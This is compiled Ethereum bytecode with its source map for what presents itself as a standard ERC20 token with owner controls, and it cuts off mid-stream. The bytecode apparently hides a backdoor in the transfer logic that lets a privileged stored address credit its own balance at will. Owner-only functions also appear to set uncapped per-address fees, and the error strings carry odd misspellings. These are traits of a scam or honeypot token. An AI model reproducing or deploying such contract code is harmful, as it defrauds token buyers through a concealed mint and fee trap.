08360ff1602179055505050565b6060600a8054610bb490611c40565b80601f0160208091040260200160405190810160405280929190818152602001828054610be090611c40565b8015610c2d5780601f10610c0257610100808354040283529160200191610c2d565b820191906000526020600020905b815481529060010190602001808311610c1057829003601f168201915b5050505050905090565b6000610cfa610c44610df4565b84610cf58560405180606001604052806025815260200161217a6025913960036000610c6e610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c79092919063ffffffff16565b610dfc565b6001905092915050565b600080610d0f610df4565b9050610d23610d1c610df4565b8585611089565b600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610dec9190611dc4565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6290611e8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed190611f1e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb89190611a3c565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ef90611fb0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612042565b60405180910390fd5b61117283838361181c565b61117a610df4565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561120857506111d9610df4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112e0578060026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461127a9190611dc4565b60026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61133281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff160361148f57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361142e57600654905061148a565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036114895760075490505b5b6114e2565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1690505b600061150a60646114fc848761183790919063ffffffff16565b61184d90919063ffffffff16565b6115149190611dc4565b9150600082111561168c5760016115958360026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dde90919063ffffffff16565b61159f9190612062565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116839190611a3c565b60405180910390a35b60016116f76000848661169f91906120bc565b6116a99190611dc4565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dde90919063ffffffff16565b6117019190612062565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600085876117a191906120bc565b6117ab9190611dc4565b6040516117b89190611a3c565b60405180910390a35050505050565b600083831115829061180f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180691906118fc565b60405180910390fd5b5082840390509392505050565b505050565b6000818361182f91906120bc565b905092915050565b600081836118459190612062565b905092915050565b6000818361185b919061211f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561189d578082015181840152602081019050611882565b838111156118ac576000848401525b50505050565b6000601f19601f8301169050919050565b60006118ce82611863565b6118d8818561186e565b93506118e881856020860161187f565b6118f1816118b2565b840191505092915050565b6000602082019050818103600083015261191681846118c3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061194e82611923565b9050919050565b61195e81611943565b811461196957600080fd5b50565b60008135905061197b81611955565b92915050565b6000819050919050565b61199481611981565b811461199f57600080fd5b50565b6000813590506119b18161198b565b92915050565b600080604083850312156119ce576119cd61191e565b5b60006119dc8582860161196c565b92505060206119ed858286016119a2565b9150509250929050565b60008115159050919050565b611a0c816119f7565b82525050565b6000602082019050611a276000830184611a03565b92915050565b611a3681611981565b82525050565b6000602082019050611a516000830184611a2d565b92915050565b600080600060608486031215611a7057611a6f61191e565b5b6000611a7e8682870161196c565b9350506020611a8f8682870161196c565b9250506040611aa0868287016119a2565b9150509250925092565b600060ff82169050919050565b611ac081611aaa565b82525050565b6000602082019050611adb6000830184611ab7565b92915050565b600060208284031215611af757611af661191e565b5b6000611b058482850161196c565b91505092915050565b611b1781611943565b82525050565b6000602082019050611b326000830184611b0e565b92915050565b600060208284031215611b4e57611b4d61191e565b5b6000611b5c848285016119a2565b91505092915050565b611b6e81611aaa565b8114611b7957600080fd5b50565b600081359050611b8b81611b65565b92915050565b60008060408385031215611ba857611ba761191e565b5b6000611bb68582860161196c565b9250506020611bc785828601611b7c565b9150509250929050565b60008060408385031215611be857611be761191e565b5b6000611bf68582860161196c565b9250506020611c078582860161196c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c5857607f821691505b602082108103611c6b57611c6a611c11565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ccd60228361186e565b9150611cd882611c71565b604082019050919050565b60006020820190508181036000830152611cfc81611cc0565b9050919050565b7f4f776e61626c653a206e6577206f776e6e6e657220697320746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000611d5f60288361186e565b9150611d6a82611d03565b604082019050919050565b60006020820190508181036000830152611d8e81611d52565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611dcf82611981565b9150611dda83611981565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e0f57611e0e611d95565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e7660248361186e565b9150611e8182611e1a565b604082019050919050565b60006020820190508181036000830152611ea581611e69565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f0860228361186e565b9150611f1382611eac565b604082019050919050565b60006020820190508181036000830152611f3781611efb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f9a60258361186e565b9150611fa582611f3e565b604082019050919050565b60006020820190508181036000830152611fc981611f8d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061202c60238361186e565b915061203782611fd0565b604082019050919050565b6000602082019050818103600083015261205b8161201f565b9050919050565b600061206d82611981565b915061207883611981565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120b1576120b0611d95565b5b828202905092915050565b60006120c782611981565b91506120d283611981565b9250828210156120e5576120e4611d95565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061212a82611981565b915061213583611981565b925082612145576121446120f0565b5b82820490509291505056fe45524332303a207472616e7366657220616d6d6f6f6e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203591cd07dddf1f5c96f1f193dec9633acc74466e2dba954b7602cf641ddde78164736f6c634300080e0033

13092:12081:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14728:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17011:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15827:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5070:109;;;:::i;:::-;;17691:458;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15671:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18558:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13762:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13478:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13995:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15998:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13658:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5189:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13873:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14938:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19349:388;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16373:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4834:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16679:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14728:91;14773:13;14806:5;14799:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14728:91;:::o;17011:196::-;17115:4;17137:40;17146:12;:10;:12::i;:::-;17160:7;17169;17137:8;:40::i;:::-;17195:4;17188:11;;17011:196;;;;:::o;15827:108::-;15888:7;15915:12;;15908:19;;15827:108;:::o;5070:109::-;4989:12;:10;:12::i;:::-;4977:24;;:8;;;;;;;;;;:24;;;4969:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5139:32:::1;5168:1;5139:20;:32::i;:::-;5070:109::o:0;17691:458::-;17832:4;17849:37;17859:6;17867:9;17878:7;17849:9;:37::i;:::-;17897:222;17920:6;17941:12;:10;:12::i;:::-;17968:140;18024:7;17968:140;;;;;;;;;;;;;;;;;:11;:19;17980:6;17968:19;;;;;;;;;;;;;;;:33;17988:12;:10;:12::i;:::-;17968:33;;;;;;;;;;;;;;;;:37;;:140;;;;;:::i;:::-;17897:8;:222::i;:::-;18137:4;18130:11;;17691:458;;;;;:::o;15671:91::-;15720:5;15745:9;;;;;;;;;;;15738:16;;15671:91;:::o;18558:288::-;18661:4;18683:133;18706:12;:10;:12::i;:::-;18733:7;18755:50;18794:10;18755:11;:25;18767:12;:10;:12::i;:::-;18755:25;;;;;;;;;;;;;;;:34;18781:7;18755:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18683:8;:133::i;:::-;18834:4;18827:11;;18558:288;;;;:::o;13762:103::-;4989:12;:10;:12::i;:::-;4977:24;;:8;;;;;;;;;;:24;;;4969:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13849:8:::1;13833:13;;:24;;;;;;;;;;;;;;;;;;13762:103:::0;:::o;13478:28::-;;;;;;;;;;;;;:::o;13995:122::-;14067:5;4989:12;:10;:12::i;:::-;4977:24;;:8;;;;;;;;;;:24;;;4969:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14092:7:::1;:17;14100:8;14092:17;;;;;;;;;;;;;;;;;;;;;;;;;14085:24;;13995:122:::0;;;:::o;15998:161::-;16099:7;16131:9;:20;16141:9;16131:20;;;;;;;;;;;;;;;;16124:27;;15998:161;;;:::o;13658:96::-;4989:12;:10;:12::i;:::-;4977:24;;:8;;;;;;;;;;:24;;;4969:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13740:6:::1;13720:17;:26;;;;13658:96:::0;:::o;5189:235::-;4989:12;:10;:12::i;:::-;4977:24;;:8;;;;;;;;;;:24;;;4969:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5326:1:::1;5304:24;;:10;:24;;::::0;5296:77:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5384:32;5405:10;5384:20;:32::i;:::-;5189:235:::0;:::o;13873:114::-;4989:12;:10;:12::i;:::-;4977:24;;:8;;;;;;;;;;:24;;;4969:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13973:6:::1;13953:7;:17;13961:8;13953:17;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;13873:114:::0;;:::o;14938:95::-;14985:13;15018:7;15011:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14938:95;:::o;19349:388::-;19457:4;19479:228;19502:12;:10;:12::i;:::-;19529:7;19551:145;19608:15;19551:145;;;;;;;;;;;;;;;;;:11;:25;19563:12;:10;:12::i;:::-;19551:25;;;;;;;;;;;;;;;:34;19577:7;19551:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;19479:8;:228::i;:::-;19725:4;19718:11;;19349:388;;;;:::o;16373:243::-;16480:4;16502:15;16520:12;:10;:12::i;:::-;16502:30;;16543:43;16553:12;:10;:12::i;:::-;16567:9;16578:7;16543:9;:43::i;:::-;16604:4;16597:11;;;16373:243;;;;:::o;4834:91::-;4882:7;4909:8;;;;;;;;;;;4902:15;;4834:91;:::o;16679:185::-;16795:7;16827:11;:20;16839:7;16827:20;;;;;;;;;;;;;;;:29;16848:7;16827:29;;;;;;;;;;;;;;;;16820:36;;16679:185;;;;:::o;8352:98::-;8410:7;8441:1;8437;:5;;;;:::i;:::-;8430:12;;8352:98;;;;:::o;3687:::-;3740:7;3767:10;3760:17;;3687:98;:::o;23615:391::-;23773:1;23754:21;;:7;:21;;;23746:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;23854:1;23835:21;;:7;:21;;;23827:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;23940:7;23908:11;:20;23920:7;23908:20;;;;;;;;;;;;;;;:29;23929:7;23908:29;;;;;;;;;;;;;;;:39;;;;23981:7;23963:35;;23972:7;23963:35;;;23990:7;23963:35;;;;;;:::i;:::-;;;;;;;;23615:391;;;:::o;5434:209::-;5512:18;5533:8;;;;;;;;;;;5512:29;;5563:10;5552:8;;:21;;;;;;;;;;;;;;;;;;5624:10;5589:46;;5612:10;5589:46;;;;;;;;;;;;5501:142;5434:209;:::o;20231:1441::-;20392:1;20374:20;;:6;:20;;;20366:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;20476:1;20455:23;;:9;:23;;;20447:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;20531:48;20552:6;20560:9;20571:7;20531:20;:48::i;:::-;20613:12;:10;:12::i;:::-;20594:31;;:15;;;;;;;;;;;:31;;;:60;;;;;20642:12;:10;:12::i;:::-;20629:25;;:9;:25;;;20594:60;20590:155;;;20726:7;20699:9;:26;20709:15;;;;;;;;;;;20699:26;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;20670:9;:26;20680:15;;;;;;;;;;;20670:26;;;;;;;;;;;;;;;:63;;;;20590:155;20777:54;20813:7;20777:9;:17;20787:6;20777:17;;;;;;;;;;;;;;;;:21;;:54;;;;:::i;:::-;20757:9;:17;20767:6;20757:17;;;;;;;;;;;;;;;:74;;;;20844:25;20884:18;20941:1;20921:7;:15;20929:6;20921:15;;;;;;;;;;;;;;;;;;;;;;;;;:21;;;20917:309;;20977:13;;;;;;;;;;;20964:26;;:9;:26;;;20960:195;;21024:17;;21011:30;;20960:195;;;21076:13;;;;;;;;;;;21066:23;;:6;:23;;;21062:93;;21123:16;;21110:29;;21062:93;20960:195;20917:309;;;21199:7;:15;21207:6;21199:15;;;;;;;;;;;;;;;;;;;;;;;;;21186:28;;;;20917:309;21291:1;21258:32;21286:3;21258:23;21270:10;21258:7;:11;;:23;;;;:::i;:::-;:27;;:32;;;;:::i;:::-;:34;;;;:::i;:::-;21238:54;;21327:1;21307:17;:21;21303:197;;;21418:1;21371:46;21399:17;21371:9;:23;21381:12;;;;;;;;;;;21371:23;;;;;;;;;;;;;;;;:27;;:46;;;;:::i;:::-;:48;;;;:::i;:::-;21345:9;:23;21355:12;;;;;;;;;;;21345:23;;;;;;;;;;;;;;;:74;;;;21456:12;;;;;;;;;;;21439:49;;21448:6;21439:49;;;21470:17;21439:49;;;;;;:::i;:::-;;;;;;;;21303:197;21589:1;21533:55;21586:1;21568:17;21558:7;:27;;;;:::i;:::-;:29;;;;:::i;:::-;21533:9;:20;21543:9;21533:20;;;;;;;;;;;;;;;;:24;;:55;;;;:::i;:::-;:57;;;;:::i;:::-;21510:9;:20;21520:9;21510:20;;;;;;;;;;;;;;;:80;;;;21623:9;21606:58;;21615:6;21606:58;;;21662:1;21644:17;21634:7;:27;;;;:::i;:::-;:29;;;;:::i;:::-;21606:58;;;;;;:::i;:::-;;;;;;;;20353:1319;;20231:1441;;;:::o;10631:224::-;10751:7;10801:1;10796;:6;;10804:12;10788:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;10839:1;10835;:5;10828:12;;10631:224;;;;;:::o;25044:126::-;;;;:::o;8733:98::-;8791:7;8822:1;8818;:5;;;;:::i;:::-;8811:12;;8733:98;;;;:::o;9090:::-;9148:7;9179:1;9175;:5;;;;:::i;:::-;9168:12;;9090:98;;;;:::o;9489:::-;9547:7;9578:1;9574;:5;;;;:::i;:::-;9567:12;;9489:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:329::-;5647:6;5696:2;5684:9;5675:7;5671:23;5667:32;5664:119;;;5702:79;;:::i;:::-;5664:119;5822:1;5847:53;5892:7;5883:6;5872:9;5868:22;5847:53;:::i;:::-;5837:63;;5793:117;5588:329;;;;:::o;5923:118::-;5994:22;6010:5;5994:22;:::i;:::-;5987:5;5984:33;5974:61;;6031:1;6028;6021:12;5974:61;5923:118;:::o;6047:135::-;6091:5;6129:6;6116:20;6107:29;;6145:31;6170:5;6145:31;:::i;:::-;6047:135;;;;:::o;6188:470::-;6254:6;6262;6311:2;6299:9;6290:7;6286:23;6282:32;6279:119;;;6317:79;;:::i;:::-;6279:119;6437:1;6462:53;6507:7;6498:6;6487:9;6483:22;6462:53;:::i;:::-;6452:63;;6408:117;6564:2;6590:51;6633:7;6624:6;6613:9;6609:22;6590:51;:::i;:::-;6580:61;;6535:116;6188:470;;;;;:::o;6664:474::-;6732:6;6740;6789:2;6777:9;6768:7;6764:23;6760:32;6757:119;;;6795:79;;:::i;:::-;6757:119;6915:1;6940:53;6985:7;6976:6;6965:9;6961:22;6940:53;:::i;:::-;6930:63;;6886:117;7042:2;7068:53;7113:7;7104:6;7093:9;7089:22;7068:53;:::i;:::-;7058:63;;7013:118;6664:474;;;;;:::o;7144:180::-;7192:77;7189:1;7182:88;7289:4;7286:1;7279:15;7313:4;7310:1;7303:15;7330:320;7374:6;7411:1;7405:4;7401:12;7391:22;;7458:1;7452:4;7448:12;7479:18;7469:81;;7535:4;7527:6;7523:17;7513:27;;7469:81;7597:2;7589:6;7586:14;7566:18;7563:38;7560:84;;7616:18;;:::i;:::-;7560:84;7381:269;7330:320;;;:::o;7656:221::-;7796:34;7792:1;7784:6;7780:14;7773:58;7865:4;7860:2;7852:6;7848:15;7841:29;7656:221;:::o;7883:366::-;8025:3;8046:67;8110:2;8105:3;8046:67;:::i;:::-;8039:74;;8122:93;8211:3;8122:93;:::i;:::-;8240:2;8235:3;8231:12;8224:19;;7883:366;;;:::o;8255:419::-;8421:4;8459:2;8448:9;8444:18;8436:26;;8508:9;8502:4;8498:20;8494:1;8483:9;8479:17;8472:47;8536:131;8662:4;8536:131;:::i;:::-;8528:139;;8255:419;;;:::o;8680:227::-;8820:34;8816:1;8808:6;8804:14;8797:58;8889:10;8884:2;8876:6;8872:15;8865:35;8680:227;:::o;8913:366::-;9055:3;9076:67;9140:2;9135:3;9076:67;:::i;:::-;9069:74;;9152:93;9241:3;9152:93;:::i;:::-;9270:2;9265:3;9261:12;9254:19;;8913:366;;;:::o;9285:419::-;9451:4;9489:2;9478:9;9474:18;9466:26;;9538:9;9532:4;9528:20;9524:1;9513:9;9509:17;9502:47;9566:131;9692:4;9566:131;:::i;:::-;9558:139;;9285:419;;;:::o;9710:180::-;9758:77;9755:1;9748:88;9855:4;9852:1;9845:15;9879:4;9876:1;9869:15;9896:305;9936:3;9955:20;9973:1;9955:20;:::i;:::-;9950:25;;9989:20;10007:1;9989:20;:::i;:::-;9984:25;;10143:1;10075:66;10071:74;10068:1;10065:81;10062:107;;;10149:18;;:::i;:::-;10062:107;10193:1;10190;10186:9;10179:16;;9896:305;;;;:::o;10207:223::-;10347:34;10343:1;10335:6;10331:14;10324:58;10416:6;10411:2;10403:6;10399:15;10392:31;10207:223;:::o;10436:366::-;10578:3;10599:67;10663:2;10658:3;10599:67;:::i;:::-;10592:74;;10675:93;10764:3;10675:93;:::i;:::-;10793:2;10788:3;10784:12;10777:19;;10436:366;;;:::o;10808:419::-;10974:4;11012:2;11001:9;10997:18;10989:26;;11061:9;11055:4;11051:20;11047:1;11036:9;11032:17;11025:47;11089:131;11215:4;11089:131;:::i;:::-;11081:139;;10808:419;;;:::o;11233:221::-;11373:34;11369:1;11361:6;11357:14;11350:58;11442:4;11437:2;11429:6;11425:15;11418:29;11233:221;:::o;11460:366::-;11602:3;11623:67;11687:2;11682:3;11623:67;:::i;:::-;11616:74;;11699:93;11788:3;11699:93;:::i;:::-;11817:2;11812:3;11808:12;11801:19;;11460:366;;;:::o;11832:419::-;11998:4;12036:2;12025:9;12021:18;12013:26;;12085:9;12079:4;12075:20;12071:1;12060:9;12056:17;12049:47;12113:131;12239:4;12113:131;:::i;:::-;12105:139;;11832:419;;;:::o;12257:224::-;12397:34;12393:1;12385:6;12381:14;12374:58;12466:7;12461:2;12453:6;12449:15;12442:32;12257:224;:::o;12487:366::-;12629:3;12650:67;12714:2;12709:3;12650:67;:::i;:::-;12643:74;;12726:93;12815:3;12726:93;:::i;:::-;12844:2;12839:3;12835:12;12828:19;;12487:366;;;:::o;12859:419::-;13025:4;13063:2;13052:9;13048:18;13040:26;;13112:9;13106:4;13102:20;13098:1;13087:9;13083:17;13076:47;13140:131;13266:4;13140:131;:::i;:::-;13132:139;;12859:419;;;:::o;13284:222::-;13424:34;13420:1;13412:6;13408:14;13401:58;13493:5;13488:2;13480:6;13476:15;13469:30;13284:222;:::o;13512:366::-;13654:3;13675:67;13739:2;13734:3;13675:67;:::i;:::-;13668:74;;13751:93;13840:3;13751:93;:::i;:::-;1386